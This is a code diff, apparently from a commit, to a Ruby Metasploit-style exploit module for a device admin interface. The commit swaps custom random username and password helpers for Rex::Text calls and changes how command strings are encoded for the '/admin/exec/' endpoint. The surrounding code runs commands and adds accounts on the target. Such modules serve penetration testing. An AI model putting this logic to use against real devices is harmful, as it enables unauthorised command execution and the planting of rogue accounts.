@@ -96,7 +96,7 @@ def do_logout(cookie)
9696 end
9797
9898 def run_command ( cmd , cookie )
99- reformatted_cmd = cmd . split ( " " ) . join ( "+" )
99+ reformatted_cmd = cmd . gsub ( / / , "+" )
100100
101101 res = send_request_cgi (
102102 'uri' => "/admin/exec/#{ reformatted_cmd } " ,
@@ -126,8 +126,8 @@ def do_show_version(cookie, tries = 3)
126126 end
127127
128128 def add_user ( cookie , tries = 3 )
129- username = random_username
130- password = random_password
129+ username = Rex :: Text . rand_text_alpha_lower ( 8 )
130+ password = Rex :: Text . rand_text_alphanumeric ( 20 )
131131
132132 tries . times do |i |
133133 vprint_good ( "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } " )
@@ -148,18 +148,6 @@ def add_user(cookie, tries = 3)
148148 return nil
149149 end
150150
151- # Generates a random password of arbitrary length
152- def random_password ( length = 20 )
153- char_array = [ ( 'a' ..'z' ) , ( 'A' ..'Z' ) , ( '0' ..'9' ) ] . map { |i | i . to_a } . flatten
154- ( 0 ...length ) . map { char_array [ rand ( char_array . length ) ] } . join
155- end
156-
157- # Generates a random username of arbitrary length
158- def random_username ( length = 8 )
159- char_array = [ ( 'a' ..'z' ) ] . map { |i | i . to_a } . flatten
160- ( 0 ...length ) . map { char_array [ rand ( char_array . length ) ] } . join
161- end
162-
163151 def do_login ( user , pass , group )
164152 begin
165153 cookie = "webvpn=; " +
0 commit comments